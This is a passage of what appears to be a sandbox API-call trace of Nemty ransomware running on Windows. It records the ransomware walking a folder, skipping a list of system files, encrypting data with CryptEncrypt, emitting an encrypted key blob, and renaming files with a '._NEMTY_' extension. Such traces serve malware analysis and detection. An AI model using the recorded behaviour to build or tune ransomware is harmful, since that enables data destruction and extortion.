hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.289] CloseHandle (hObject=0xffffffff) returned 0 [0110.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0110.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0110.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png._nemty_kgobjgd_")) returned 0 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.290] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28181a23, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bNext-disable.png", cAlternateFileName="")) returned 1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".") returned 1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="..") returned 1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="...") returned 1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="windows") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="$RECYCLE.BIN") returned 1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="rsa") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="NTDETECT.COM") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="ntldr") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="MSDOS.SYS") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="IO.SYS") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="boot.ini") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="boot.ini") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="ntuser.dat") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="desktop.ini") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="CONFIG.SYS") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="RECYCLER") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="BOOTSECT.BAK") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="bootmgr") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="programdata") returned -1 [0110.290] lstrcmpiW (lpString1="bNext-disable.png", lpString2="appdata") returned 1 [0110.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0110.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0110.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0110.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0110.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0110.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0110.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0110.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0110.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0110.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0110.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0110.291] Sleep (dwMilliseconds=0x5) [0110.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf564df50, dwHighDateTime=0x1d561e7)) [0110.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf564df50, dwHighDateTime=0x1d561e7)) [0110.305] GetLastError () returned 0x5 [0110.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.305] GetLastError () returned 0x5 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0110.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.306] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403b0 [0110.306] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403b0, pcchString=0x653e91c | out: pszString="ka9J/Z4xDeu9y/w6BVnM0S3qWZp6Pe3MrywROpo+AyNfOwJ9g1/cyVZYDAIC2YYU\r\n9iL+z//hOnya+zGtGuUZuUF46AQ++FKjqVBpVttbgJfjjC7xmzlbEZXPjgs1W332\r\nqScbWiuztW0z0tZjMetRSLwAMsYOdH7qwJuF44HNfOEnvACH3C8DyHwgQOL2lHq/\r\nc8q9cQddav5ZAm1FUrOrJtx+O0nOtgcDo8djQJu9IUBZFANloNLHsp7uYE7VSguT\r\n6uSN6dsPKubxqUBbOIj4InYbBM6nSpeDz42q2LC+/n8Hlw/HAINxitYJjZ4aVNRr\r\nUKAD/2zwOQhWgRBeFWXrVg==\r\n", pcchString=0x653e91c) returned 1 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0110.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403b0 [0110.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.306] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.307] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 